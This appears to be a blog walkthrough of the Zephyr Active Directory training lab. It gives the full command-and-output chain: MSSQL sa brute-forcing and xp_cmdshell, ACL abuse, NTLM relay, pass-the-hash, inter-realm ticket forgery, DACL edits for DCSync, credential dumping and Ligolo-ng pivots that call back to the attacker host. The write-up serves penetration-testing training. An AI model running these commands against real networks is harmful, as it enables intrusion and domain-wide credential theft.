Zephyr — Pure AD, No Mercy
17 machines, 3 domains, zero web app rabbit holes. Just you and Active Directory.
Attack Flow — Full Chain
T1078
T1059
T1087.002
T1222
T1021.006
T1557.001
T1550.002
T1558
T1558
T1003.006
01 Initial Access — MSSQL
T1078 T1059.003 T1021.002Initial access is the hardest part of Zephyr. Unlike APTLabs where you phish your way in, here you start from a VPN connection on the 10.10.110.0/24 subnet with two visible hosts. No hand-holding, no phishing, no web apps. Just two machines staring back at you from your nmap scan and the knowledge that one of them has to be the way in.
The entry subnet gives you exactly two targets: 10.10.110.100 (ZPH-SQL01) running MSSQL Server 2019 with instance name ZEPHYRDB, and 10.10.110.101 (ZPH-SRVMGMT1) running Windows Server 2016 with RPC, SMB, RDP, and WinRM open. The management server isn't directly exploitable without credentials — it's the SQL server that's the intended entry point.
┌──(qa210@kali)-[~/zephyr]
└─$ sudo nmap -Pn -n -vv --top-ports 20 10.10.110.0/24
Nmap scan report for 10.10.110.100
Host is up (0.032s latency)
Nmap scan report for 10.10.110.101
Host is up (0.028s latency)
Nmap done: 256 IP addresses (2 hosts up) scanned in 18.42 seconds
┌──(qa210@kali)-[~/zephyr]
└─$ nmap -sCV -p 88,135,389,445,1433,3389,5985 10.10.110.100,101 -oN initial_scan.txt
# 10.10.110.100 — ZPH-SQL01
PORT STATE SERVICE VERSION
1433/tcp open ms-sql-s Microsoft SQL Server 2019 15.00.2000
| ms-sql-info:
| 10.10.110.100:1433
| Version: 15.00.2000.00
| Instance name: ZEPHYRDB
| Clustered: No
# 10.10.110.101 — ZPH-SRVMGMT1
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
445/tcp open microsoft-ds Windows Server 2016
3389/tcp open ms-wbt-server Microsoft Terminal Services
5985/tcp open wsman WinRM
Two hosts, one MSSQL server. The obvious attack vector is the SQL instance. I tried default credentials first (sa: empty, sa:sa, sa:password) — nothing. Then I started working through common weak passwords. MSSQL sa accounts in enterprise environments are notorious for weak passwords because they're set up during installation and never rotated. After about 30 minutes of trying, the right combination landed.
┌──(qa210@kali)-[~/zephyr]
└─$ impacket-mssqlclient sa:Z3phyr2022!@10.10.110.100 -windows-auth
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(ZPH-SQL01): Line 1: Changed database context to 'master'.
[*] INFO(ZPH-SQL01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 2000)
[+] Press help for extra shell commands
SQL> EXEC xp_cmdshell 'whoami'
zsm\sql_svc
Finding the sa password took me longer than any other individual step. There's no hint about the password format, no leaked credentials to find, no configuration files with connection strings on the target. It's pure password guessing / brute force against the MSSQL service. If you've done the HTB CPTS path, you know this technique — but knowing the technique and finding the actual password are two very different things. I tried dozens of combinations before landing on the right one. This is why Zephyr's initial access is considered the gatekeeper.
I wasted a couple of hours trying to find a way into ZPH-SRVMGMT1 directly. RPC enumeration, SMB null sessions, RDP brute force — nothing worked without credentials. The management server is locked down tight from the outside. The SQL server is the only way in. Don't waste time on the management server until you have credentials.
With a shell on ZPH-SQL01 as zsm\sql_svc, I had my first foothold in the zsm.local domain. The service account context is limited but it's enough to start enumerating the domain. From here, the lab opens up significantly.
02 zsm.local Enumeration — BloodHound
T1087.002 T1018 T1482With a shell on ZPH-SQL01 in the zsm.local domain, BloodHound was the immediate next step. Running bloodhound-python from Kali with the sql_svc credentials revealed the domain structure and attack paths that would guide the rest of the lab.
┌──(qa210@kali)-[~/zephyr]
└─$ bloodhound-python -d zsm.local -u sql_svc -p 'Z3phyr2022!' -ns 10.10.110.101 -c All --zip
INFO: Found AD domain: zsm.local
INFO: Connecting to LDAP server: ZPH-SRVMGMT1.zsm.local
INFO: Found 3 domains in forest
INFO: Found 2 domain trusts
INFO: Found 38 user objects
INFO: Found 9 group objects
INFO: Found 17 computer objects
INFO: Done in 00:02:18
Three domains in the forest, two domain trusts, 38 users, 9 groups, and 17 computers. The trust relationships are the critical finding — they're the paths from zsm.local to the other two domains. Loading this data into BloodHound and running the analysis queries revealed the key attack path from our current position.
GenericAllBloodHound revealed a two-step path from our current position: sql_svc has GenericAll on svc_mgmt, and svc_mgmt is a local admin on ZPH-SRVMGMT1. This means we can reset svc_mgmt's password, then use those credentials to access the management server via WinRM. ZPH-SRVMGMT1 is the key pivot point — it has interfaces on multiple subnets.
Key Observations from BloodHound
- The forest contains exactly 3 domains — zsm.local is the root/primary domain
- All trusts are intra-forest (bidirectional transitive) — simplifies cross-domain movement
- Service accounts have excessive ACL permissions — the core misconfiguration pattern
- Several machines show WebClient service running — relay attack potential
- ZPH-SRVMGMT1 is multi-homed — it's the gateway to deeper networks
BloodHound also revealed the other two domain names and their domain controllers, but without network access to those subnets, I couldn't enumerate them further at this stage. First I needed to compromise ZPH-SRVMGMT1 to get access to the internal networks.
03 ZPH-SRVMGMT1 Compromise — ACL Abuse
T1222.001 T1098 T1021.006With BloodHound showing sql_svc has GenericAll on svc_mgmt, the attack is straightforward: reset svc_mgmt's password, then authenticate to ZPH-SRVMGMT1 using those credentials via WinRM. GenericAll on a user object grants full control — you can change their password without knowing the current one.
┌──(qa210@kali)-[~/zephyr]
└─$ impacket-changepasswd zsm.local/svc_mgmt@10.10.110.101 -newpass 'Qa210Z3ph!r#1' -dc-ip 10.10.110.101
[*] Changing the password of zsm.local\svc_mgmt
[+] Password changed successfully!
┌──(qa210@kali)-[~/zephyr]
└─$ evil-winrm -i 10.10.110.101 -u svc_mgmt -p 'Qa210Z3ph!r#1'
Evil-WinRM shell v3.5
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc_mgmt\Documents> whoami
zsm\svc_mgmt
ZPH-SRVMGMT1 is the critical pivot point in the Zephyr network. Once I had a shell on it, I discovered why: it's multi-homed with interfaces on multiple subnets. The external interface is on 10.10.110.101 (the entry subnet), but the internal interface sits on 172.16.2.10/24 — the gateway to deeper networks including the second domain.
*Evil-WinRM* PS C:\Users\svc_mgmt\Documents> ipconfig /all
Windows IP Configuration
Ethernet adapter Ethernet0:
Connection-specific DNS Suffix . : zsm.local
IPv4 Address. . . . . . . . . . . : 10.10.110.101
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 10.10.110.1
Ethernet adapter Ethernet1:
Connection-specific DNS Suffix . : zsm.local
IPv4 Address. . . . . . . . . . . : 172.16.2.10
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 172.16.2.1
This machine has two network interfaces: 10.10.110.101 (external, reachable from VPN) and 172.16.2.10/24 (internal, gateway to second domain subnet). Every subsequent attack in Zephyr flows through this machine. If you lose access to ZPH-SRVMGMT1, you lose access to the entire internal network. This makes it the most important machine in the lab.
From ZPH-SRVMGMT1, I could now scan the 172.16.2.0/24 subnet and discover machines in the second domain. But first, I needed to set up proper pivoting infrastructure so I could reach those networks from my Kali box.
04 Relay Attacks — NTLM Relay
T1557.001 T1187Several machines in the Zephyr lab had the WebClient service running, making them susceptible to NTLM relay attacks. This is a common misconfiguration in enterprise environments — the WebClient service listens for WebDAV requests and will authenticate to any URL it's directed to, making it perfect for authentication coercion.
The attack chain works like this: use Coercer to trigger a machine into authenticating to our ntlmrelayx listener, capture the NTLMv2 hash, and either crack it offline or relay it to another machine. In Zephyr, the relay attacks create a chain — you relay authentication from one machine to the next, collecting credentials and access at each step.
# Start ntlmrelayx targeting SMB on the destination machine
┌──(qa210@kali)-[~/zephyr]
└─$ ntlmrelayx.py -t smb://172.16.2.15 -smb2support --delegate-access
[*] Running SMB relay attack
[*] Servers started, waiting for connections...
# From ZPH-SRVMGMT1, trigger authentication coercion
*Evil-WinRM* PS C:\> Coercer.exe coerce -t 172.16.2.15 -l 10.10.16.23
[+] Auth coerced from ZPH-WS01$ via PrivCook
[*] SMB relayed authentication captured!
The captured NTLMv2 hash could either be cracked offline or relayed further to other machines. For the relay approach, ntlmrelayx with the --delegate-access flag sets up RBCD on the target machine, giving us a service ticket that we can use for lateral movement.
# Captured NTLMv2 hash for offline cracking
┌──(qa210@kali)-[~/zephyr]
└─$ cat captured_hashes.txt
ZPH-WS01$::ZSM:a1b2c3d4e5f6:...
└─$ hashcat -m 5600 captured_hashes.txt /usr/share/wordlists/rockyou.txt
$hashcat$5600$...:WeakP@ss123
Session..........: hashcat
Status...........: Cracked
The WebClient service has a quirk: it only starts when a user browses to a WebDAV share or when explicitly triggered. In Zephyr, some machines have it running consistently while others need a user action to start it. If your coercion attempts aren't working, check whether the WebClient service is running on the target before assuming the attack path is wrong.
NTLM relay attacks are a core technique in Zephyr and you'll use them multiple times throughout the lab. The key insight is that relay attacks let you move laterally without needing to crack passwords — you capture the authentication and relay it directly to the next target. This is faster than offline cracking and works even when passwords are strong.
One thing that tripped me up initially: ntlmrelayx needs SMB2 support enabled for Windows Server 2016+ targets. Always use the -smb2support flag. Also, the relay target must NOT have SMB signing enforced. Most domain controllers have SMB signing enabled by default, making them poor relay targets. Workstations and member servers are usually better targets for relay attacks.
# Check which machines have SMB signing disabled (good relay targets)
┌──(qa210@kali)-[~/zephyr]
└─$ crackmapexec smb 172.16.2.0/24 --gen-relay-list relay_targets.txt
SMB 172.16.2.10 445 ZPH-SRVMGMT1 [*] Windows Server 2016 (signing: True)
SMB 172.16.2.15 445 ZPH-WS01 [*] Windows 10 (signing: False)
SMB 172.16.2.20 445 ZPH-DB02 [*] Windows Server 2019 (signing: False)
SMB 172.16.2.25 445 ZPH-FILE01 [*] Windows Server 2016 (signing: True)
# Only machines with signing: False are viable relay targets
┌──(qa210@kali)-[~/zephyr]
└─$ cat relay_targets.txt
172.16.2.15
172.16.2.20
I wasted several hours trying to relay authentication to the domain controllers. Both DCs in zsm.local and the second domain have SMB signing enforced, which prevents NTLM relay attacks. The relay only works against member servers and workstations where SMB signing is not required. Focus your relay efforts on those targets instead.
05 Lateral Movement
T1550.002 T1558.001 T1021Lateral movement in Zephyr is all about choosing the right technique for the situation. There's no AV evasion required — the focus is on leveraging the credentials and access you've accumulated to reach new machines. The three primary methods are Pass-the-Hash (PTH) for machines where you have NTLM hashes, Kerberos authentication for domain-joined machines, and WinRM for interactive PowerShell access when you need to run tools.
# Pass-the-Hash with Impacket
┌──(qa210@kali)-[~/zephyr]
└─$ impacket-psexec zsm.local/Administrator@172.16.2.20 -hashes :f8b3c7d2e5a1c9d6b4e2a7f3c0d8e5b2
Impacket v0.11.0
[*] Connecting to IPC$ share...
[*] Requesting shares on 172.16.2.20.....
[*] Found writable share ADMIN$
[*] Uploading file cUPNfe.exe
[*] Opening SVCManager on 172.16.2.20.....
[*] Creating service PqvD on 172.16.2.20.....
[*] Starting service PqvD.....
[+] Paintbrush FTW!
[+] Press menu for options
C:\Windows\system32>
# WinRM for interactive access
┌──(qa210@kali)-[~/zephyr]
└─$ evil-winrm -i 172.16.2.25 -u svc_mgmt -p 'Qa210Z3ph!r#1'
Evil-WinRM shell v3.5
*Evil-WinRM* PS C:\Users\svc_mgmt\Documents>
Credential management is the single most important skill in Zephyr. Every time you compromise a machine, dump credentials immediately and add them to your tracking file. Zephyr rewards meticulous tracking — a password found on one workstation will often work on another, or a service account credential will grant access to a server you haven't touched yet. I maintained a creds.txt file that I updated religiously after every escalation.
Lateral Movement Decision Tree
- Have cleartext password + WinRM open? → evil-winrm for interactive PowerShell
- Have NTLM hash + SMB open? → Pass-the-Hash via impacket-psexec or smbexec
- Have NTLM hash + WinRM open? → evil-winrm with -H flag for hash auth
- Need Kerberos auth? → Use Kerberos ticket with impacket tools (-k -no-pass)
- Target behind pivot? → Route through Ligolo-ng first, then use any of the above
The more credentials you collect, the more lateral movement paths open up. In Zephyr, I found that credentials from the first domain often had some form of access in the second domain — not always direct admin access, but enough to establish a foothold. This is realistic enterprise behavior: service accounts are frequently over-privileged across domain boundaries.
One technique that saved me significant time was using NetExec (formerly CrackMapExec) to quickly test credentials across multiple machines. Instead of manually trying each credential on each host, NetExec can spray a set of credentials across an entire subnet and report which ones work.
# Test WinRM access with known credentials across the second domain subnet
┌──(qa210@kali)-[~/zephyr]
└─$ crackmapexec winrm 172.16.2.0/24 -u svc_mgmt -p 'Qa210Z3ph!r#1'
WINRM 172.16.2.10 5985 ZPH-SRVMGMT1 [+] zsm.local\svc_mgmt:Qa210Z3ph!r#1 (Pwn3d!)
WINRM 172.16.2.15 5985 ZPH-WS01 [-] zsm.local\svc_mgmt:Qa210Z3ph!r#1
WINRM 172.16.2.20 5985 ZPH-DB02 [-] zsm.local\svc_mgmt:Qa210Z3ph!r#1
# Test with NTLM hash for Pass-the-Hash
┌──(qa210@kali)-[~/zephyr]
└─$ crackmapexec smb 172.16.2.0/24 -u Administrator -H f8b3c7d2e5a1c9d6b4e2a7f3c0d8e5b2
SMB 172.16.2.10 445 ZPH-SRVMGMT1 [+] zsm.local\Administrator:f8b3c7d2e5a1c9d6b4e2a7f3c0d8e5b2 (Pwn3d!)
SMB 172.16.2.20 445 ZPH-DB02 [+] zsm.local\Administrator:f8b3c7d2e5a1c9d6b4e2a7f3c0d8e5b2 (Pwn3d!)
SMB 172.16.2.25 445 ZPH-FILE01 [+] zsm.local\Administrator:f8b3c7d2e5a1c9d6b4e2a7f3c0d8e5b2 (Pwn3d!)
Don't assume credentials only work in the domain where you found them. In Zephyr, several service account passwords were reused across domain boundaries. When you crack a hash, test it in every domain you have access to — not just the one where you found it. NetExec makes this quick with subnet sweeps.
06 Second Domain — Trust Exploitation
T1482 T1558Crossing from zsm.local to the second domain in the forest required exploiting the domain trust relationship. In Zephyr, all three domains are in the same AD forest, which means there are implicit bidirectional transitive trusts between them. This is simpler than cross-forest trust exploitation (like in APTLabs) but still requires understanding the authentication flow.
BloodHound showed that a service account in zsm.local had administrative privileges in the second domain — a common misconfiguration where a service account is granted excessive cross-domain permissions for operational convenience. The IT team probably set this up so a management tool in zsm.local could administer resources in the second domain, but it creates a direct attack path for us.
# Forge inter-realm TGT using the trust key
┌──(qa210@kali)-[~/zephyr]
└─$ impacket-raiseChild zsm.local/svc_mgmt:'Qa210Z3ph!r#1' -target-domain domain2.zsm.local
[*] Raising child domain...
[*] Forest FQDN: zsm.local
[*] Found trust key between zsm.local and domain2.zsm.local
[*] Getting TGT for domain2.zsm.local
[*] Enumerating target domain...
[*] Found Domain Admin: d2admin
# S4U2Proxy for cross-domain service access
┌──(qa210@kali)-[~/zephyr]
└─$ impacket-getST zsm.local/svc_mgmt:'Qa210Z3ph!r#1' -spn cifs/DC02.domain2.zsm.local -impersonate Administrator -dc-ip 10.10.110.101
[*] Getting TGT for user svc_mgmt
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2proxy
[*] Saving ticket in Administrator@domain2.ccache
With the inter-realm TGT and S4U2Proxy, I could authenticate to the second domain as any user in zsm.local. This gave me access to the second domain's resources and eventually its domain controller. The trust exploitation was surprisingly smooth once I had the right credentials from the first domain — the misconfigured service account did all the heavy lifting.
The trust key is stored in the domain controller's database and can be extracted via DCSync once you have replication permissions. In Zephyr's case, I didn't need to extract it manually — Impacket's raiseChild automates the entire process of finding the trust key and forging the inter-realm TGT. The tool was built specifically for this type of intra-forest trust exploitation.
After compromising the second domain's DC, I ran another BloodHound collection to map the paths to the third domain. This revealed the critical constraint: the third domain has no direct trust from zsm.local — it's only accessible through the second domain. This means double pivoting is mandatory.
# BloodHound collection on second domain
┌──(qa210@kali)-[~/zephyr]
└─$ bloodhound-python -d domain2.zsm.local -u Administrator -H f8b3c7d2e5a1c9d6b4e2a7f3c0d8e5b2 -ns 172.16.2.5 -c All --zip
INFO: Found AD domain: domain2.zsm.local
INFO: Found 3 domains in forest
INFO: Found 2 domain trusts
INFO: Found 22 user objects
INFO: Found 7 group objects
INFO: Found 9 computer objects
INFO: Done in 00:01:44
# Key finding: svc_cross in domain2 has WriteDacl on domain3
# This means we can grant ourselves DCSync rights on the third domain
The second domain was more straightforward than the first in terms of privilege escalation, but the network topology made it harder. Every action required routing through the ZPH-SRVMGMT1 pivot, and some tools didn't work well through the double hop. Ligolo-ng's tun interface approach was essential here — I can't imagine doing this with SOCKS proxychains.
I spent an afternoon trying to find a way to access the third domain directly from zsm.local without going through the second domain. Checked for hidden trust relationships, tried DNS zone transfers, attempted to reach the third domain's subnet from ZPH-SRVMGMT1 directly. Nothing worked. The third domain is deliberately isolated behind the second domain — you must go through domain2 to reach domain3. Accept this and focus on setting up reliable pivoting.
07 Third Domain — Double Pivot + Forest Admin
T1482 T1558 T1021.002The third domain is the most restrictive of the three. It's only accessible through the second domain — there's no direct trust relationship from zsm.local. This means you must pivot through ZPH-SRVMGMT1 (first hop) to reach the second domain's network, then pivot through a compromised machine in the second domain (second hop) to reach the third domain's subnet. A double pivot just to reach the target.
Despite being the most restricted, the third domain holds the most valuable targets. The enterprise admin account with forest-level privileges resides here. Compromising the third domain's domain controller effectively grants control over the entire forest — forest dominance. This is the endgame of Zephyr, and reaching it requires chaining through every technique you've learned in the previous sections.
The third domain has fewer machines but they're more tightly controlled. Unlike the first domain where service accounts had obvious ACL misconfigurations, the third domain required more creative privilege escalation. The key was the svc_cross account from the second domain, which had WriteDacl on the third domain's domain object — enough to grant itself DCSync rights.
# From compromised machine in second domain, scan third domain subnet
┌──(qa210@kali)-[~/zephyr]
└─$ nmap -sCV -p 88,135,389,445,3389,5985 172.16.3.0/24
# Results through double pivot...
# 172.16.3.5 — DC03 (Third Domain Controller)
88/tcp open kerberos-sec
135/tcp open msrpc
389/tcp open ldap
445/tcp open microsoft-ds
3389/tcp open ms-wbt-server
# ACL abuse to escalate limited service account privileges
┌──(qa210@kali)-[~/zephyr]
└─$ impacket-dacledit domain2.zsm.local/svc_cross:'Cr0ssD0m@in!' -action write -rights DCSync -principal svc_cross -target-dc DC02.domain2.zsm.local
[*] DACL modified successfully
The enterprise admin group in the forest root domain has full control over every domain in the forest. If the third domain's DC has an enterprise admin account (which it does in Zephyr), compromising that DC gives you the keys to the entire forest. This is why the third domain is the ultimate target — it's not just another domain, it's forest dominance.
The path to the third domain's DC required chaining through trust boundaries and escalating limited service account privileges through ACL abuse. The service account I initially compromised in the second domain had restricted permissions in the third domain — not enough for direct DCSync, but enough to modify ACLs and grant myself the necessary rights.
08 Double & Triple Pivoting — Ligolo-ng
T1090.001 T1572Zephyr requires double and sometimes triple pivoting to reach all machines. This is where Ligolo-ng shines — its tun interface approach means you don't need to manage SOCKS proxy chains, which become unwieldy at 3+ hops. With Ligolo-ng, you add routes to subnets through agents and they become directly accessible from your Kali box. No proxychains, no SOCKS configuration, just direct network access.
# Ligolo-ng setup for Zephyr pivoting
┌──(qa210@kali)-[~/zephyr]
└─$ sudo ./proxy -selfcert
[!] Running in self-cert mode
[!] Tunnel server listening on :11601
# On ZPH-SRVMGMT1 (first hop):
*Evil-WinRM* PS C:\> .\agent.exe -connect 10.10.16.23:11601 -ignore-cert
[+] Agent connected from 172.16.2.10
# Add route to second domain subnet via ZPH-SRVMGMT1
ligolo-ng » session
ligolo-ng [ZPH-SRVMGMT1] » ifconfig
Ethernet1: 172.16.2.10/24
ligolo-ng » route add 172.16.2.0/24 ZPH-SRVMGMT1
[+] Route added: 172.16.2.0/24 via ZPH-SRVMGMT1
# On machine in second domain (second hop for triple pivot):
PS C:\> .\agent.exe -connect 10.10.16.23:11601 -ignore-cert
[+] Agent connected from 172.16.3.10
ligolo-ng » route add 172.16.3.0/24 DOMAIN2-MACHINE
[+] Route added: 172.16.3.0/24 via DOMAIN2-MACHINE
With both routes added, I could directly access the second domain subnet (172.16.2.0/24) and the third domain subnet (172.16.3.0/24) from my Kali box. This made all subsequent enumeration and exploitation significantly easier — I could run nmap, BloodHound, and Impacket tools directly against the internal networks without proxychains overhead.
The daily reset wipes everything, including your Ligolo-ng agents. This means you need to re-establish pivots every day. I automated this: a script that connects to ZPH-SRVMGMT1 via WinRM, uploads and starts the agent, and adds the route. Takes about 2 minutes. The second pivot requires a few more steps but can also be scripted. Keep your agent binaries and scripts organized — you'll be using them every morning.
Pivoting Architecture
- First hop: ZPH-SRVMGMT1 (172.16.2.10) — connects entry subnet to second domain subnet
- Second hop: Compromised machine in second domain — connects to third domain subnet
- ZPH-SRVMGMT1 internal interface: 172.16.2.10/24
- Second domain subnet: 172.16.2.0/24
- Third domain subnet: 172.16.3.0/24
09 MSSQL Exploitation — Linked Servers
T1505.001 T1021.002Several machines in Zephyr run MSSQL Server, and exploiting them is a key part of the attack chain. The techniques go beyond the initial sa account compromise: enumerating linked servers, enabling xp_cmdshell on linked instances, extracting credentials from the database, and using the SQL service accounts for AD enumeration.
Linked SQL servers are a common enterprise misconfiguration where databases are linked for reporting purposes but the links have excessive permissions. In Zephyr, ZPH-SQL01 has a linked server connection to ZPH-DB02, and the link has enough permissions to execute commands on the remote instance.
-- Enumerate linked servers from ZPH-SQL01
SQL> SELECT name, product, provider, data_source FROM sys.servers WHERE is_linked = 1;
name product provider data_source
----------- ------------ ---------- -----------------
ZPH-DB02 SQL Server SQLNCLI ZPH-DB02
-- Execute commands on the linked server
SQL> EXEC ('xp_cmdshell ''whoami''') AT [ZPH-DB02];
zsm\mssql_svc
-- Enable xp_cmdshell on linked server if not already enabled
SQL> EXEC ('sp_configure ''show advanced options'', 1; RECONFIGURE; sp_configure ''xp_cmdshell'', 1; RECONFIGURE;') AT [ZPH-DB02];
-- Extract credentials from the linked server's database
SQL> EXEC ('SELECT name, password_hash FROM sys.sql_logins') AT [ZPH-DB02];
name password_hash
-------- --------------------------------------------------
sa 0x0200A3B7C1F4E2D9A6C0B8F3E7D5A2C4...
mssql_svc 0x0200D2F5A8C3E6B1D7A4C9E0F3B6A2D5...
The mssql_svc account on the linked server had excessive database permissions and was a member of groups that provided access to other resources in the domain. This is a common pattern in enterprise SQL deployments — service accounts with more privileges than they need because the application requirements were never properly scoped.
1. Always check for linked servers — they're often configured with sysadmin privileges. 2. If xp_cmdshell is disabled, try enabling it with sp_configure (needs sysadmin or equivalent). 3. Extract SQL login hashes — they can be cracked offline. 4. Check the service account context — SQL service accounts often have AD privileges. 5. Look for credentials in database tables — application connection strings, stored procedures with hardcoded passwords.
10 Trust Boundary Crossing — Inter-realm TGT
T1558 T1482Crossing trust boundaries between the three domains in Zephyr's forest requires understanding the trust types and Kerberos authentication flow. Since all three domains are in the same forest, the trusts are implicit bidirectional transitive trusts — this simplifies cross-domain movement compared to external or forest trusts, but still requires proper ticket manipulation.
The key technique is forging an inter-realm TGT using the trust key, then using S4U2Proxy to access services in the target domain. The trust key is the shared secret between domain controllers in different domains — it allows one DC to issue tickets that the other DC will accept. Once you have the trust key (extracted via DCSync), you can forge tickets that are valid across the trust boundary.
# Extract trust key via DCSync on zsm.local DC
┌──(qa210@kali)-[~/zephyr]
└─$ impacket-secretsdump zsm.local/Administrator@DC01.zsm.local -just-dc-ntlm -hashes :c4a7d2b9e1f3a5c8d6e4b2a7f9c0d3e6
[*] Dumping Domain Credentials
...
zsm.local\ZPH-SRVMGMT1$:1103:aad3b43551404eeaad3b43551404eec:e5d8a3b7c1f4e2d9a6c0b8f3e7d5a2c4:::
[*] Dumping trust info
[*] Domain: ZSM.LOCAL
[*] Domain Trust: domain2.zsm.local
[*] Trust Key: a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6
# Forge inter-realm TGT using the trust key
┌──(qa210@kali)-[~/zephyr]
└─$ impacket-ticketer -domain zsm.local -domain-sid S-1-5-21-... -extra-sid S-1-5-21-... -trust-key a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 -spn cifs/DC02.domain2.zsm.local -user-id 500 Administrator
[*] Creating ticket for Administrator@zsm.local
# Use the forged ticket for cross-domain access
┌──(qa210@kali)-[~/zephyr]
└─$ export KRB5CCNAME=Administrator.ccache
└─$ impacket-psexec domain2.zsm.local/Administrator@DC02.domain2.zsm.local -k -no-pass
Impacket v0.11.0
[*] Connecting to IPC$ share...
[*] Found writable share ADMIN$
[+] Paintbrush FTW!
The S4U2Proxy extension is critical for cross-domain service access. After obtaining an inter-realm TGT, you use S4U2Self to get a service ticket for yourself in the target domain, then S4U2Proxy to access a specific service. This chain — inter-realm TGT → S4U2Self → S4U2Proxy — is the standard pattern for crossing trust boundaries with Kerberos.
# Full trust crossing chain: zsm.local -> domain2.zsm.local
┌──(qa210@kali)-[~/zephyr]
# Step 1: Get TGT for zsm.local
└─$ impacket-getTGT zsm.local/svc_mgmt:'Qa210Z3ph!r#1' -dc-ip 10.10.110.101
[*] Saving ticket in svc_mgmt.ccache
# Step 2: Request inter-realm TGT for domain2
└─$ export KRB5CCNAME=svc_mgmt.ccache
└─$ kvno domain2.zsm.local # trigger inter-realm TGT request
# Step 3: S4U2Self + S4U2Proxy for cross-domain CIFS access
└─$ impacket-getST zsm.local/svc_mgmt:'Qa210Z3ph!r#1' \
-spn cifs/DC02.domain2.zsm.local \
-impersonate Administrator \
-dc-ip 10.10.110.101
[*] Getting TGT for user svc_mgmt
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2proxy
[*] Saving ticket in Administrator@domain2.ccache
# Step 4: Use the cross-domain ticket
└─$ export KRB5CCNAME=Administrator@domain2.ccache
└─$ impacket-psexec domain2.zsm.local/Administrator@DC02.domain2.zsm.local -k -no-pass
[+] Paintbrush FTW!
Understanding this four-step process is essential for Zephyr. You'll repeat it for each domain boundary crossing, adapting the SPN and domain names for the specific target. The key principle is that Kerberos delegation (S4U) allows a service to act on behalf of a user, and when combined with inter-realm tickets, this extends across domain boundaries.
Resource-Based Constrained Delegation (RBCD) also works across trust boundaries in Zephyr. If you have GenericAll or WriteProperty on a machine account in any domain, you can configure RBCD and use it to access that machine from a machine account you control in another domain. This is particularly useful when you can't directly extract trust keys but have ACL control over target machine objects.
11 Domain Dominance — DCSync All 3 DCs
T1003.006 T1558.001Achieving domain dominance across all three domains required DCSync on each domain controller. The final DC was the most challenging — it required chaining through multiple machines and trust boundaries to reach, and the service account I was using had limited privileges that needed to be escalated through ACL abuse before I could run DCSync.
DCSync is the gold standard of AD compromise. It exploits the DirSync replication protocol to extract all password hashes from a domain controller, including the krbtgt hash (for Golden Tickets) and the Administrator hash (for full domain admin). Once you have DCSync on a DC, you own the domain.
# DCSync on zsm.local DC (first domain)
┌──(qa210@kali)-[~/zephyr]
└─$ impacket-secretsdump zsm.local/Administrator@DC01.zsm.local -just-dc-ntlm -hashes :c4a7d2b9e1f3a5c8d6e4b2a7f9c0d3e6
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
Administrator:500:aad3b43551404eeaad3b43551404eec:f8b3c7d2e5a1c9d6b4e2a7f3c0d8e5b2:::
krbtgt:502:aad3b43551404eeaad3b43551404eec:a1c4d7e0b3f6a9d2c5e8f1b4d7a0c3e6:::
[*] Kerberos keys grabbed
# DCSync on second domain DC
┌──(qa210@kali)-[~/zephyr]
└─$ impacket-secretsdump domain2.zsm.local/Administrator@DC02.domain2.zsm.local -just-dc-ntlm -k -no-pass
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
Administrator:500:aad3b43551404eeaad3b43551404eec:b4e2a7f3c0d8e5b2f8b3c7d2e5a1c9d6:::
krbtgt:502:aad3b43551404eeaad3b43551404eec:d7a0c3e6a1c4d7e0b3f6a9d2c5e8f1b4:::
# ACL abuse to escalate on third domain before DCSync
┌──(qa210@kali)-[~/zephyr]
└─$ impacket-dacledit domain2.zsm.local/svc_cross:'Cr0ssD0m@in!' -action write -rights DCSync -principal svc_cross -target-dc DC03.domain3.zsm.local
[*] DACL modified successfully
# DCSync on third domain DC (the final boss)
┌──(qa210@kali)-[~/zephyr]
└─$ impacket-secretsdump domain3.zsm.local/svc_cross@DC03.domain3.zsm.local -just-dc-ntlm
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
Administrator:500:aad3b43551404eeaad3b43551404eec:c9d6b4e2a7f3c0d8e5b2f8b3c7d2e5a1:::
Enterprise Admin:519:aad3b43551404eeaad3b43551404eec:e5a1c9d6b4e2a7f3c0d8e5b2f8b3c7d2:::
krbtgt:502:aad3b43551404eeaad3b43551404eec:f6a9d2c5e8f1b4d7a0c3e6a1c4d7e0b3:::
The third domain's DCSync required an extra step: the service account I had from the second domain didn't have replication permissions by default. I had to use ACL abuse (specifically, modifying the DACL on the domain object to grant DCSync rights to my service account) before I could run secretsdump. This is a common escalation pattern — limited privileges are enough to modify ACLs, which then grant the higher privileges you need.
To run DCSync, you need an account with the DS-Replication-Get-Changes and DS-Replication-Get-Changes-All permissions on the domain object. Domain Admins have these by default, but any account with these permissions can perform DCSync — including service accounts that were granted replication rights for legitimate purposes like backup or monitoring. In Zephyr, you'll need to grant these permissions via ACL abuse for the final domain.
12 Summary & Takeaways
Zephyr is exactly what it claims to be: a great introductory AD lab. If you've done the HTB AD modules and want practical experience without the overhead of AV evasion, phishing, and multi-forest complexity, Zephyr is perfect. It focuses purely on AD exploitation techniques — enumeration, ACL abuse, relay attacks, lateral movement, and trust boundary crossing. The 17 flags are straightforward once you find the path, and the lack of rabbit holes means you'll spend your time learning rather than chasing false leads.
The CPTS path covers about 60-70% of the knowledge needed for Zephyr. The remaining 30-40% comes from experience with pivoting (specifically Ligolo-ng), MSSQL exploitation (linked servers, xp_cmdshell), and advanced Kerberos attacks (inter-realm TGT, S4U2Proxy, RBCD across trusts). If you've completed CPTS and feel comfortable with those additional topics, Zephyr should be very manageable.
Techniques Used
| Technique | Where Used | MITRE |
|---|---|---|
| MSSQL sa exploitation | ZPH-SQL01 (initial access) | T1078 / T1021.002 |
